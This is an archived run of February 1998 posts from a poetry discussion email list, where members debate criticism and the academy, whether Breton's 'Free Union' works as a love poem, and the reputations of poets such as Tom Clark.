Mark, I'm trying to challenge you people. I feel like somebody who's just discovered the obvious. I hadn't given it much thought either until it seemed to be staring me in the face. & the obvious sometimes makes emperors with no clothes of us all. there's more enterprise in going naked, as Yeats put it.

Someone may challenge me someday, & I may take it as an insult too. This email medium is something we're all getting used to. Henry the Bull has abused it more than most - the bull can be a bully. But if I've offended you or Don Byrd personally I apologize.

My feeling is that the ideal conversation - whether in person or on email - has something tough as well as fair about it. Without that you lose a lot of the

humor. God is no respecter of persons, as it's written - why should we pamper each other? Why do I think of the Russians? They are terrible people - but they know how to cut each other to pieces - intellectually, satirically - without OFFENDING each other or breaking friendships. Joe Ahearn was right about the low calibre of poetic insulting in our day and age. Is this another symptom of overall backscratching? But I'm not interested in ad hominem & all that. I'm just seriously taken aback & as a result I am vehement. Call it a rhetorical ploy, if you will. But I consider it worth fighting for.

The fact is, I think you all ARE sold out, bankrupt, blind, mealy-headed whipper-snappers. Ben Carrelis thoroughly deconstructed Henry the Bull's "idealistic" rhetoric. Yay Aussies! But Henry's not being dreamy. He's somebody guarding a line. THEY SHALL NOT PASS. I can dig that. - Jack Spandrift, a.k.a. "Henry Gould"

↑ Index

111. louis stroffolino

Re: Love Poems

Wed 4 Feb 1998

Great POST, Rob Hale. Even though I cannot offer you advice, I guess it depends on the woman. I remember being in Pierre Joris' class a couple years back and having been so thoroughly inundated in a certain kind of "feminism" had internalized this idea that FREE UNION was a sexist poem, would certainly not (to paraphrase Moxley) "agitate the beloved into loving you" and sure enough the smartest and most attractive (to me) women in the class told me they loved that poem so there's no formula but i do think much of my poetry is "about" the tension between respect and even passion for feminism (though i am skeptical that there really can be a male feminist) on the one hand and one's status as a "male desiring subject"..... and though i don't really wish to once again be accused of being a languagepoetbasher, this issue was something i found lacking in many of the male langpos. well i have a lot more i could say on this, but i will wait to digest the implications of your message rob. Your message was quite courageous. thanks, chris stroffolino

On Tue, 3 Feb 1998, Robert Hale wrote:

> *At risk of using the list as a Dear Abby column, I seek advice regarding the sending of love poems. Valentine's Day is next Saturday. I don't plan to send out any love poems and here's why.*
>
> *I was dating this girl for a while. Things were going well. I took her to see David Bowie. We talked about stuff. We had crazy nights. We even went to a friend's wedding together. I sent her, like, a poem a week, or something.*

I also sang to her over the phone. Then I sent her a poem by Andre Breton (see below). She freaked out. Our relations broke off within a week.

It wasn't the singing. Suddenly, she said I was a weirdo. It was the Breton. But the one of the first poems I sent her was by Clark Coolidge!

What gives?

My woman with her forest-fire hair
With her heat-lightning thoughts
With her hourglass waist
My woman with her otter waist in the tiger's mouth
My woman with her rosette mouth a bouquet of stars of
the greatest magnitude
With her teeth of white mouse footprints on the white
earth
With her tongue of polished amber and glass
My woman with her stabbed Eucharist tongue
With her tongue of a doll that opens and closes its eyes
With her tongue of incredible stone
My woman with her eyelashes in a child's handwriting
With her eyebrows the edge of a swallow's nest
My woman with her temples of a greenhouse with a slate roof
And steam on the windowpanes
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And a dolphin-headed fountain under ice
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My woman with her lucky fingers her ace of hearts
fingers
With her fingers of new-mown hay
My woman with her armpits of marten and beechnuts
Of Midsummer Night
Of privet and angelfish nest
With her seafoam and floodgate arms
Arms that mingle the wheat and the mill
My woman with rocket legs
With her movements of clockwork and despair
My woman with her calves of elder tree pith
My woman with her feet of initials
With her feet of bunches of keys with her feet of
weaverbirds taking a drink
My woman with her pearl barley neck
My woman with her Val d'or cleavage

Cleavage of a rendezvous in the very bed of the mountain
stream

> *With her breasts of night*
> *My woman with her undersea molehill breasts*
> *My woman with her breasts of the crucible of rubies*
> *With her breasts of the specter of the rose beneath the dew*
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> *My woman with her rowboat hips*
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> *My woman with her eyes of forests forever beneath the axe*
> *With her pale eyes of sea-level air-level earth and fire*

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112. louis stroffolino

Re: Was: Re: Uh, <snip>

Wed 4 Feb 1998

Poets are nothing but a box of cassette tapes that you never get around to playing because they are not labelled!
(okay, i can do better than that. sorry). chris

On Wed, 4 Feb 1998, George Bowering wrote:

> *In general, the quality of insults lately hasn't been up to the standards I'd expect from a group of avant=garde poets.*
>
> *Avant-barde poets are nothing more than fiddlers with their own strings,*

> *players with their own poop, self-regarding nincompoops with the intellectual capacities of plaid-wearing baboons.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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113. **Joe Brennan**
Re: Love Poems
Wed 4 Feb 1998

Next time, show the poem first -- saves time & trouble.

Joe Brennan

↑ Index

114. **Joe Brennan**
Re: Was: Re: Uh, <snip> uh uh
Wed 4 Feb 1998

Why debase baboons?

Joe Brennan

↑ Index

115. **Henry Gould**
Re: The task of criticism
Wed 4 Feb 1998

I want to tell people about a new hobby club I've joined called Peasle Collecting. Peasles are those small red buttons that used to be worn by IWW lefties & other working class heroes from 1867-1943. There are clubs springing up all over the US; they're really fun and nobody tries to put you down because you can't buy or sell peasles, they are out of the capitalist system. Billy Haberson is the biggest collector in my area - he has 47 DIFFERENT PEASLES in many shapes and sizes. A lot of people are jealous but Billy doesn't make fun of anybody even if they're beginners & only have one or two peasles. There's a

newsletter called PEASLES UNITE that you can get for FREE from Jackie Snipp - I'll backchannel you the address if you want. But it would be nice if you sent them a few bucks for postage - it's really a shoestring operation. PEASLES UNITE!! - Henry Gould

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116. MAYHEW
task of criticism
Wed 4 Feb 1998

I read Don Byrd's post from yesterday with some interest. I remember my own undergraduate days (late 70s) in an English dept. where I was told that WCW was a "bad influence" and where Ashbery was considered out of the mainstream. I guess I never expected to get what I wanted from classes, which was what the library was for.

I can't agree that the lag between academia and contemporary poetics is worse than in Pound's day, however. Books by Bob Perelman and Charles Bernstein are published by major university presses; look at dissertations by people like M. Damon, J. Conte, Fredman, and the like. Then go back to the 1920s and 1930s (or even 50s) and look for the equivalent. While I don't want to say everything is great in academia (far from it) I am suspicious of the "things are worse than ever" school of thought when the comparison does not take into account actual facts.

My perspective is perhaps skewed by the fact that I am not in an "English" dept. and thus don't have to deal with anything in this field unless it interests me personally; thus I can ignore the things that may annoy others of you.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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117. ShaunAnne Tangney Humanities 8-13-1997
Re: The task of criticism
Wed 4 Feb 1998

On Wed, 4 Feb 1998, Mark Prejsnar wrote:
>
> One of the great problems, Henry, with all your posts on this topic, is

> suggested by your word-choice here. One of the most central and important
> things about the poetry scene most of us inhabit, is that it's *not*
> about selling. You define the whole world of poetry activities as about:
> boosting; recognition; selling; markets. The list of negative and

> *be an awful lot of confusion wafting around about it: choosing to do poetry *removes* a person from the capitalist cash nexus in most respects. I try hard to see this as a positive thing, like bohemians of old. but there's no getting around it: it's a deeply destructive and painful thing. People find it very hard to live. A few mainstreamers get grants, etc., but in general there is no connection between material gain, comfort, the capitalist marketplace in any usual recognized sense, and poetry*

because there is relatively little money to be made being a poet, many poets find themsleves within the academy, making a paycheck that keeps the roof over one's head and they computer plugged in, or at least the penicls sharpened. once within the academy, poets are asked not only to teach "creative writing" but also "poetry" courses--they are asked, in effect to become critics. to become critical enough to be able to pass onto students poetry, to be able to say this is a peom because it does _x_; this poem reflects "modern angst," "the romantic self," "postmodern sense of play." we can debate the value of this kind "criticism," but i think it shows where poets, poetry, and criticism insersect in this world where poets often must becaome critics.

which is to say that poets and critics are by necesity often the same folk. and i find that the criticism in the one constantly influences the poetry in the other

> *It's probably a good thing. The *last* thing we need are "independent critics" to act as arbiters. Let a thousand groupuscules bloom. Let 'em argue out poetics, politics and the rest of it. If people with similar work as poets help each other, that's fundamentally a good*

i tell my students that writing happens in community, not alone. the academy, criticism, poetry, poetics--these are all communities, and for me they are all very provocative communities, communities which encourage me to write, inform my writing, criticize my writing, welcome my writing--i doubt i could be a poet--or a critic--w/o them.

and, i reiterate, the criticism ever reinforms the poetry, just as the poetry ever rearranges the criticism.

best,
shaunanne

> *Mark P.*
> *@lanta*

↑ Index

118. David Golumbia
Re: Was: Re: Uh, <snip>
Wed 4 Feb 1998

louis stroffolino wrote:
>
> Poets are nothing but a box of cassette tapes that you never get
> around to playing because they are not labelled!
> (okay, i can do better than that. sorry). chris

I don't know Chris ... i think that one was pretty good!

--
[redacted]
David Golumbia

↑ Index

119. James Finnegan
Re: Was: Re: Uh, <snip> uh uh
Wed 4 Feb 1998

As the old man used to say:

"Get off your ars(e) poetica and get a real job."

Finnegan

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120. Dale M Smith
task of criticism
Wed 4 Feb 1998

University press publications by Perelman, Bernstein et al are part of the problem addressed. Critics parading as poets parading as... The American academy stinks and has stunk from day one. That it is somehow sympathetic to langpods reveals how bankrupt their project has become. It's a bore all around. The universities have never been sympathetic to the vernacular and so langpo dismantled WCW's ground breaking work on that scale and cashed in on a language of reductive, conceptual space dust.

Onward Citizens, to the interstellar voids of Orion!

To: [redacted]

I read Don Byrd's post from yesterday with some interest. I remember my own undergraduate days (late 70s) in an English dept. where I was told that WCW was a "bad influence" and where Ashbery was considered out of the mainstream. I guess I never expected to get what I wanted from classes, which was what the library was for.

I can't agree that the lag between academia and contemporary poetics is worse than in Pound's day, however. Books by Bob Perelman and Charles Bernstein are published by major university presses; look at dissertations by people like M. Damon, J. Conte, Fredman, and the like. Then go back to the 1920s and 1930s (or even 50s) and look for the equivalent. While I don't want to say everything is great in academia (far from it) I am suspicious of the "things are worse than ever" school of thought when the comparison does not take into account actual facts.

My perspective is perhaps skewed by the fact that I am not in an "English" dept. and thus don't have to deal with anything in this field unless it interests me personally; thus I can ignore the things that may annoy others of you.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

↑ Index

121. Tim Wood

Re: Was: Re: Uh, <snip>

Wed 4 Feb 1998

> *Poets are nothing but a box of cassette tapes that you never get around to playing because they are not labelled!*
> *(okay, i can do better than that. sorry). chris*
>
> *I don't know Chris ... i think that one was pretty good!*

Sounds like a compliment to me. God forbid everything I right is all identical and boxable. Perhaps that's part of why we're poets instead of something easily categorizable like musicians...

Tim

_____ Tim Wood
[redacted]

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122. sylvester pollet
Request for assistance
Wed 4 Feb 1998

Dear Angela, I don't know the answer, but the question was clearly asked at one of those dreary receptions, after a few drinks: thish! What I'll do is forward your quest(ion) to the Poetics List, which might be cheating, but what the hell, it's law school. I'm sure someone there will know. best, Sylvester p.s. listers, please respond to her directly. S.

> *Date: Tue, 03 Feb 1998 23:45:58 -0500*
> *From: Angela Martin <[redacted]>*
> *Organization: University of Georgia School of Law*
> *MIME-Version: 1.0*
> *To: [redacted]*
> *Subject: Request for assistance*
>
> *Hello,*
> *Our law professor has sent us on a wild goose chase. The story goes that an English poet was speaking at a college and an admirer asked, "when you wrote this, did you intend thish and this and this?" The asnwer came, "I diid not intend it then, but I do now." We are to find out the poet's name. I am ina race with 76 other students and need your help.*
> *Thank you,*
> *Angela Martin*

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123. d powell
Re: Love Poems
Wed 4 Feb 1998

Dear Robert Hale,

Number one--the poem is good, but...surely you do see how such a poem objectifies women? The woman in the poem is not an equal, but a possession. And she's not a whole person, but rather a list of favorite parts. Number two--I can't imagine a woman alive who doesn't grimace at the description "rowboat hips" or, worse, "buttocks of sandstone and asbestos." This is not a love poem, it is a statement of ownership. If you really want to send a love poem, why not write one yourself? Or stick with Shakespeare--he's already been test-marketed and proven effective.

A final thought--brevity is crucial. The longer a love poem goes on, the more chances it has of saying something stupid (sorry for the unintentional echo of a Frank and Nancy Sinatra song).

With advice to the lovelorn, this is

Doug
==========
D A Powell [redacted]
==========

Robert Hale wrote:
>At risk of using the list as a Dear Abby column, I seek advice >regarding the
>sending of love poems. Valentine's Day is next Saturday. I don't >plan to
>send out any love poems and here's why.
>
>I was dating this girl for a while. Things were going well. I >took her to
>see David Bowie. We talked about stuff. We had crazy nights. We >even went to
>a friend's wedding together. I sent her, like, a poem a week, or >something.
>I also sang to her over the phone. Then I sent her a poem by >Andre Breton
>(see below). She freaked out. Our relations broke off within a >week.
>
>It wasn't the singing. Suddenly, she said I was a weirdo. It was >the Breton.
>But the one of the first poems I sent her was by Clark Coolidge!
>
>What gives?
>
>
>
>My woman with her forest-fire hair
>With her heat-lightning thoughts
>With her hourglass waist
>My woman with her otter waist in the tiger's mouth
>My woman with her rosette mouth a bouquet of stars of
> the greatest magnitude
>With her teeth of white mouse footprints on the white
> earth
>With her tongue of polished amber and glass
>My woman with her stabbed Eucharist tongue
>With her tongue of a doll that opens and closes its eyes
>With her tongue of incredible stone

>My woman with her eyelashes in a child's handwriting
>With her eyebrows the edge of a swallow's nest
>My woman with her temples of a greenhouse with a slate roof
>And steam on the windowpanes
>My woman with her shoulders of champagne
>And a dolphin-headed fountain under ice
>My woman with her matchstick wrists
>My woman with her lucky fingers her ace of hearts
> fingers
>With her fingers of new-mown hay
>My woman with her armpits of marten and beechnuts
>Of Midsummer Night
>Of privet and angelfish nest
>With her seafoam and floodgate arms
>Arms that mingle the wheat and the mill
>My woman with rocket legs
>With her movements of clockwork and despair
>My woman with her calves of elder tree pith
>My woman with her feet of initials
>With her feet of bunches of keys with her feet of
> weaverbirds taking a drink
>My woman with her pearl barley neck
>My woman with her Val d'or cleavage
>
>Cleavage of a rendezvous in the very bed of the mountain
> stream
>With her breasts of night
>My woman with her undersea molehill breasts
>My woman with her breasts of the crucible of rubies
>With her breasts of the specter of the rose beneath the
> dew
>My woman with her belly of the unfolding fan of days
>With her giant claw belly
>My woman with her back of a bird fleeing vertically
>With her quicksilver back
>With her back of light
>With her nape of rolled stone and damp chalk
>And a falling glass that's just been sipped
>My woman with her rowboat hips
>With her hips of a chandelier and arrow feathers
>And the stems of white peacock plumes
>Her hips an imperceptible pair of scales

>My woman with her buttocks of sandstone and asbestos
>My woman with her buttocks of a swan's back
>My woman with her buttocks of springtime
>With her gladiolus sex
>My woman with her sex of placer and platypus
>My woman with her sex of seaweed and old-fashioned
> candies
>My woman with her mirror sex
>My woman with her eyes full of stars
>With her eyes of violet armor and a speedometer needle
>My woman with her savannah eyes
>My woman with her eyes of water to drink in prison
>My woman with her eyes of forests forever beneath the
> axe
>With her pale eyes of sea-level air-level earth and fire
>
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>From: Robert Hale <[redacted]>
>Subject: Love Poems
>To: [redacted]
>
>

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124. **k. lederer**

Re: "Indie Critics," Evans, Rod Smith, baloney--

Wed 4 Feb 1998

On Sat, 31 Jan 1998, Henry Gould wrote:

> *Steve Evans, bless his brilliant soul, is a good example: look at his ILS essay on the process of literary change. How erudite, how stylized - & how the poets are bumped in at the beginning & end almost as a footnote. It's an example of how TALKING ABOUT IT is a major form today, and exhibits all the incestuous poeto-academo atmosphere I've been railing against. Now all you street-talkin' anti-intellectuals, don't get the idea I'm on your side. I LIKE Steve's writing. It's just not the criticism (that essay anyway) that Rod Smith et al's "generation" might need.*

Henry--

Personally, I found Evans' essay extremely "liberating" as an "emerging" poet--

It strikes me that one of the primary theses of that piece--one which appears most forcefully at the start of the essay--provides younger writers with a way out from under any detrimental criticism that might come their way.

To be more clear: Evans suggests vis-a-vis Hegel that one of the reasons for the regular dismissal of "the avant-garde" is that a lot of the work they do is as yet invisible to the eyes of those steeped in the "ideologies" (I don't think this is the right term, but it'll do) of their times. In other words, avant-garde poets don't get any credit because a lot of the work their doing is (1) unrecognizable through the political, aesthetic, and institutional lenses of the time, and (2) perhaps not even "substantive" as so much of their energy must be spent simply "escaping"--or reinventing-- the assumptions of the time. Thus, the more established (traditional, mainstream, what have you) aestheitics of the time are able, perhaps, to "produce" more, and more visible works--

(An image I get here through a Marxist lens: that mainstream writers already have an aesthetic "factory," so to speak, at their disposal--they have access to a predetermined means of (artistic) production--

Innovative writers, however, must manufacture the machinery anew--)

The implications for younger writers here are astonishing--

That perhaps "older" writers--even those of the avant-garde variety--may also be unable to fully "see" (perceive is probably a better word) the "new" in the younger generation's works--

Perhaps the "older" writers might claim that the young ones are "lazy," "apathetic," etc. (sound familiar?), because they cannot "see" the work that goes into simply "emerging"--

Evans doesn't make such arguments explicitly--but I think these analogies are more than available (particularly in light of the postscript in which he basically credits such writers as Brown, Jarnot, Moxley, Spahr, Stroffolino, and Rothschild for, in some regards, freeing "the avant-garde" from the aesthetic prison (not intentionally a prison, but an effective one none the less) of Langpos. Breaking out of prison is hard work! And usually happens when no one is looking.

In other words, I think that this essay represents PRECISELY the kind of criticism that "Rod Smith's Generation" might need--

***

> ...I am speaking as a poet who has played
> by what I consider the rules for over 30 years. My rules are: do the
> poem. Send it to magazines & contests. Think about what you are doing -
> maybe write an essay about it. That's it. In my experience "doing
> the poem" has absorbed the energy. Maybe I am a fanatic, or a hedgehog
> in Isaiah Berlin's sense, or a totally introverted recluse.

These rules seem to contradict each other, Henry. Sending to mags and contests doesn't absorb any energy? Do introverts write lots of essays? Send to contests? (Emily--)

***

be looking for an indi critic too - somebody with taste, judgement,
> freedom, and an artistic instinct. The rest is baloney. It's the kind
> of baloney Emily Dickinson was concerned about, & that led Uncle Walt
> to write reviews of himself under a pseudonym. Not to mention Edgar
> Poe. That's a complicated murder story in which the autopsy was
> suborned.

It seems to me that "taste, judgement, freedom, and artistic instinct" are also forms of baloney.

Yours,
Katy
>

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125. **d powell**
NY, NY
Wed 4 Feb 1998

I will be in NYC 25-28 of April and would like to do a reading to promote my book TEA (Wesleyan Univ. Press). If anyone knows of a venue that would be available, I would greatly appreciate the assistance. I will be reading here in San Francisco at A Different Light on 22 March, at Wesleyan Univ. on 29 April and at Prairie Lights in Iowa City on 1 May. Thanks,

Doug

==========
D A Powell [redacted]
==========

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126. **d powell**
Re: Was: Re: Uh, <snip> uh uh
Wed 4 Feb 1998

I thinks it was Steve McCaffrey what coined the arse poetica.

Doug
==========
D A Powell [redacted]
==========

James Finnegan wrote:
>As the old man used to say:
>
>"Get off your ars(e) poetica and get a real job."
>

>Finnegan
>
>----------
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>Subject: Re: Was: Re: Uh, <snip> uh uh
>To: [redacted]
>
>

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127. MAYHEW
task of criticism
Wed 4 Feb 1998

Let me get this straight--that people in universities study language poetry reveals that they are beyond the pale--then presumably those who dismiss language poetry, for the same reasons that Dale M. Smith does (what does the edu on his or her e-mail address stand for by the way?) are perhaps indicative that the university is not as rotten as all that. There are enough people in the university with enough common sense to dismiss "a language of conceptual, reductive space dust" (who is being reductive here?) in favor of the pure williamcarloswilliamsian Amercain vernacular. Thank god! No matter that Coolidge, Howe, and Scalapino (among others) are vernacular poets in the profoundest sense.

But perhaps Dale Smith is not really in the university, appearances notwithstanding. One of those people who are not "real" academics because they are still pure of heart.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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128. Herb Levy
Re: Response to Bromige on Clark & Ambiguity
Wed 4 Feb 1998

Joe Safdie wrote:

> *(But Herb! I
> don't agree that David is here responding to my "interpretation" riff at
> all! Perhaps it's just too late, or I'm too dense . .)*

While David may not be responding directly to your interpretation riff, he IS reading the poems that you praised for their plain statement in a way that differs markedly from your reading of them. (At least I assume it differs: since in keeping with your claim that the poems are transparent, you just pointed at them, rather than offering any reading.) Your initial response to his failure to accept the poems in the same manner as you did is that he's being ungenerous.

Your further response is to quote more of the poem (further pointing) and quibbling about minor points.

To respond to your earlier question, there was consciously ambiguous writing long before Empson, going back at least to Defoe & other early novelists.

As for reading texts in ways that counter the original intentions, well, that goes back at least a couple of thousand years.

Herb Levy
[redacted]

↑ Index

129. **Herb Levy**
Re: Uh,
Wed 4 Feb 1998

Dale,

I think the vulnerability you respond to is based more on your knowledge of Tom Clark & where he's coming from than anything in the cited poems themselves. & the various sensuous pleasures we all find in poems are matters of taste, and far from absolute.

As to generosity, you're correct in stating that you've been more than generous with your positions. However, you've been far from generous in accepting that other readers among your peers could honestly find fault with your oft-stated opinion of Clark & Dorn's stature as the true living ascended masters of the universe.

People will read the poems or they won't. They'll write about the poems here (or elsewhere) or they won't. They'll like the poems or they won't. No amount of name calling or bullying will change that. Poems (& poets) shouldn't need bodyguards.

If you can't accept that other poets can honestly differ with your opinions on "two of the most brilliant and dedicated men to engage the art of verse this century", it isn't the fault of these other readers, but with your unwillingness to allow for differences on the issue.

There's 600 people on this list. We don't all agree on anything substantive, we're certainly not all going to agree with you on something like this. We also don't all agree that Barrett Watten is the living embodiment of Shakespeare, Dante, and Homer.

If you search the archives of this list as you propose, you will find several discussions of Clark & Dorn as bad men, just as you'd find several discussions of the evil rise of language poetry in the Bay area 20 years ago. But you'll also find Ron Silliman including a book by Clark in a list of books he wishes were in print again. You'll find David Bromige was the first to note that Clark's Junkets

on a Sad Planet were published in book form in response to a query on a recent verse biography of Keats. You'll find Gunslinger coming up in a very recent discussion of books that might excite usually bored students in introductory literature classes.

The us-them binary isn't as simple as you wish to make it.

> *Actually, my 'argument' said that there is a vulnerability in these poems*
> *that David did not acknowledge. If I confused this with Tom's personal life*
> *it's because I find poetry to be personal as well as a public statement,*
> *reflec*
> *tion or expression etc... And the 'us-them' bianary I'm accused of does not*
> *originate with me. Scroll through the archives of this list and you will find*
> *plenty of examples in which Tom or Ed have been branded with various stigmatas*
> *that place them well outside of the poetics community shared by many here.*
> *I d*
> *on't know what else it takes to 'engage' on this list, by the way. As a*
> *'peer'*
> *I think I've responded with generous efforts to explain my positions. Maybe*
> *referring to David, in a moment of anger, as a self-delusional coward,*
> *etc. was*
> *out of line. But as a guardian of... something...I still have no doubts.*
> *Just*
> *as I, for whatever reasons of dementia and devotion, respond in kind to*
> *comment*
> *s I find floundering in the usual realms of accepted platitudes. If that's*
> *'charming' or 'romantic' great. And by the way, those poems Joe posted,*
> *though*
> *apropos to the discussion, aren't very representative of Tom's work. But*
> *I doubt if this list would generate much discussion about his poems on Keats,*
> *say. Or other unfashionable subjects like that. The syntax might be too*
> *'uninteresting.' As if sintax was the only measure of verse. The sensual*
> *pleasures of language - the music, the rhythm - can be as entertaining as the*
> *mental stimulation of syntax.*

Herb Levy
[redacted]

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130. **pritchpa**
Re: missing gens, maria's q &c.
Wed 4 Feb 1998

Maybe part of the problem of change vis-a-vis the postmodern subject - and specfically the postmodern feminine subject - can be summed up by a quote form Nancy Hartsock which Charles Altieri uses to preface his _Subjective Agency_ : (I paraphrase) "Why is that it just when minority groups decided to no

longer be objects of history but subjects that the whole idea of the subject suddenly became problematic?"

Why indeed? I haven't read Altieri's book yet, so I don't know how he addresses this. I'd venture to say, though, that the absence of a precedent, of a history, of a blueprint, while confusing, can also be liberating - a chance to write a new map for femina cognita. It's interesting that Cixous declines to place her project under the feminist banner, opting instead for a broader and decidedly more abstract one. This highlights one of the big differences between French feminism and American feminism, as I understand it: that the former is more philosophically-driven, the latter more politically-driven - and the gap between them seems to be widening.

These are all rather obvious observations and the question remains: what then must we do?
Patrick Pritchett

From: linda russo
To: [redacted]
Subject: Re: missing gens, maria's q &c.
Date: Wednesday, February 04, 1998 5:20AM

but in the practice of our everyday lives . . . there, yes, it is literally a difficult terrain to negotioate, where things don't seem to change much.

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131. pritchpa
Re: Love Poems
Wed 4 Feb 1998

---

yes - I think DeBeauvoir objected to Breton's romanticism on more or less the same grounds: woman as object of mystical infatuation and reverie. Though I confess I was much taken with this poem when I was 21. And I sympathize with Robert Hale. The best thing to do is to give someone your own poems, I think. Then if those are rejected, you can have a great time getting drunk and feeling gloriously bitter (not that I'm making light of yr situation...). My first wife thought my poems were crap - and she was probably right, but she was also very harsh. My second wife loves them - but then, I've improved somewhat. In the interim between them, such offerings were usually met with baffled silence and/or polite horror.

Patrick Pritchett

From: linda russo
To: [redacted]

Subject: Re: Love Poems
Date: Wednesday, February 04, 1998 5:20AM

agreeing w/ chris s., it is a great poem;
speaking as a particular woman (which the response depends on)
i think i'd mixed messages if it were sent to me.
it is not just a sexist poem, but an imperialistic poem
i don't think anyone want to be referred to as "my woman"
(maybe an under-30's understanding of this) But to be "my
woman with" -- especially when "my woman's" (and not at all
"my"/mine) attributes are all physical -- so exposed, granted
no privacy, no complexity, no emotion -- at least not any
autonomous privacy, complexity, emotion. Made
HIS mystery only, inspiring his emotions,
descriptions (& yes some amazing language)
but that's all. its sort of like a vivisection

& on the other side of it -- a response might
be to the hyperbole of it -- which of course makes
it an amazing poem, but not so much a flattering
set of utterances.

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132. Safdie Joseph
Re: Response to Bromige on Clark
Wed 4 Feb 1998

Dear Simon (that IS your first name, yes? And your server reverses them the way mine does?):

Thank you for this eloquent and sadly un-obvious post. It makes perfect sense to me and I wish its sentiments to travel widely ("Go, little book . . ."). As one who has also used labels like "fascist" loosely, and who has been corrected for such usage by residents of the formerly communist nation of the Czech Republic, I propose that participants of this list TRY to watch their language (who else but us?)

As you say, "Stalin as Linguist" was Tom's title -- so technically it was he who first used that particular brush -- but your post contains so much wisdom in a short amount of space ("the smaller the stakes, the more violent the struggle") that I can only recommend that people read it again. Thanks.

> ----------
> *From: Schuchat Simon[SMTP:[redacted]]*
> *Sent: Thursday, February 05, 1998 12:43 AM*
> *To: [redacted]*

Subject: Re: Response to Bromige on Clark

In a post ignored by many about period style I noted that the first poem by Bruce Andrews I ever read was published in the Paris Review, chosen by Tom Clark (at least Tom Clark was the poetry editor of the Paris Review at the time, and its hard to imagine George Plimpton picking Bruce's works though not impossible I confess). it seems to me that this is a measure of evidence that the issue at hand is not aesthetic.

I don't know the "Stalin as linguist" essay, but this constant harping on the Hitlerian or Stalinist methodology of TC is a little grating. I am probably not the only one on the list who can say this, but I have lived in a neo-Stalinist society and the ad hominen attack is one characteristic of Stalinist polemic. It would not surprise me if TC, in either the Poetry Flash or Partisan Review or whereever, used Stalinist argumentation, but it doesn't further anyone's understanding to use it back at him.

Underlying most polemic in Stalinist society was stuff like envy, resentment, you attacked my friend or even attacked me so I will crush you in return, etc. It was always difficult to learn what the original pretext, even, of an attack was -- did Jiang Qing really send those people to jail because they knew her as a young actress, or was it how they treated her when she was a young actress, or what? Part of it is just power, and the smaller the stakes, the more violent the struggle. I don't know what lies at the real root of the anti-Tom Clark emotion that occassionally erupts on the list. I have trouble thinking of him as the "real enemy," that's all.

Four poets were just arrested in Guizhou, for planning to start a magazine. Anyone else on the list hear about it? Anyone know where Guizhou is?

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133. David Kellogg
Re: Love Poems
Wed 4 Feb 1998

Robert, it's a great poem, albeit with all the issues addressed by Rachel etc. But, uh, not to trash your representation of the issue, could it have not that much to do with the poem? Maybe she was looking for a way out, and Breton was the excuse she needed.

Just a thought. . .

Cheers,
David
~~~
~~~

[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

↑ Index

135. David Kellogg
Re: Love Poems
Wed 4 Feb 1998

Correction: for "Rache" substitute "Linda Russo".
~~~
~~~

136. James Finnegan
Re: "Indie Critics," Evans, Rod Smith, baloney--
Wed 4 Feb 1998

be looking for an indi critic too - somebody with taste, judgement,
> freedom, and an artistic instinct. The rest is baloney. It's the kind
> of baloney Emily Dickinson was concerned about, & that led Uncle Walt
> to write reviews of himself under a pseudonym. Not to mention Edgar
> Poe. That's a complicated murder story in which the autopsy was
> suborned.

In response to the above, Katy writes:
It seems to me that "taste, judgement, freedom, and artistic instinct" are also forms of baloney.

Your last statement is too nihilistic for my taste. I think the "indie critic" is wonderful ideal. Though somewhat romantic. If such a person exists, no doubt certain biases, theoretical tethers, bind him/her, no matter how much s/he might strain to be free of such strictures. I will also note that critics more often quote poets and poet-critics, rather than other critics. (Anecdotal, no statistical study to back up this assertion.) Literary criticism is, as others have said, an artform in and of itself. Yet I believe there's a natural bias among poets to know what another poet might think, not what the critic thinks that poet thinks—horse's mouth & all that.

Finnegan

↑ Index

137. linda russo
Re: Love Poems
Wed 4 Feb 1998

> *Correction: for "Rache" substitute "Linda Russo".*

isn't this just the whole problem with Breton (& Donne & Plutarch for
that matter?) ? ! ?
sorry -- i couldn't resist
... but not to overlook "My Woman" &
its fill-in-the-blank functionality
the male reader consigning
to himself the fantasy of ownership;
-- in the blazon enough parts will the anonymous (female) body make.

↑ Index

138. Robert Zamsky
Re: Was: Re: Uh, <snip>
Wed 4 Feb 1998

"easily categorizable like musicians"

????

↑ Index

139. linda russo
Re: Love Poems
Wed 4 Feb 1998

snip

> Also, what happens to the language when it's delivered as such a message? --
> the route as part of a text "loved" when isolated, packed and unpacked, yet
> trouble-making when delivered?
>
i can only guess that you wanted "my woman with" to translate into
"you"; odd that "my woman with" seems so fill-in-the-blankish
except(!) when a specific "subjectivity" is demanded of it;
i.e. "my susan with" might work but "i, susan, with" won't.

snip snap

> I wrote some love poems (as some of you suggested), but there is nothing
> like a Breton love poem, and it is a love poem, contrary to opinion, very
> complicated, I think, and emotional (whatever these words mean), all these
> things in a very exterior, and arguably, male way.
yes, in the way that it is all cock. i.e. he loves her with his cock
or with whatever else skin he can glom all over her --
the old standby question -- do you think he respects his "woman
with"? is there a being beneath this mass of female goodness?
yes, it's nice to receive compliments re your bod. -- but to the
exclusion of ? ? ? -- i'm reacting now out of context, of course,
you couldn've sent a love poem praising her mind, her ideals, &c her
bank account, i dunno, but i'd like to know of some poems that do!

↑ Index

140. **henry gould**

Re: "Indie Critics," Evans, Rod Smith, baloney--

Wed 4 Feb 1998

On Wed, 4 Feb 1998 13:41:44 -0600 k. lederer said:
>The implications for younger writers here are astonishing--
>
>That perhaps "older" writers--even those of the avant-garde variety--may
>also be unable to fully "see" (perceive is probably a better word) the
>"new" in the younger generation's works--
>
>Perhaps the "older" writers might claim that the young ones are "lazy,"
>"apathetic," etc. (sound familiar?), because they cannot "see" the work
>that goes into simply "emerging"--
>
>Evans doesn't make such arguments explicitly--but I think these analogies
>are more than available (particularly in light of the postscript in which
>he basically credits such writers as Brown, Jarnot, Moxley, Spahr,
>Stroffolino, and Rothschild for, in some regards, freeing "the
>avant-garde" from the aesthetic prison (not intentionally a prison, but an
>effective one none the less) of Langpos. Breaking out of prison is hard
>work! And usually happens when no one is looking.
>
>In other words, I think that this essay represents PRECISELY the
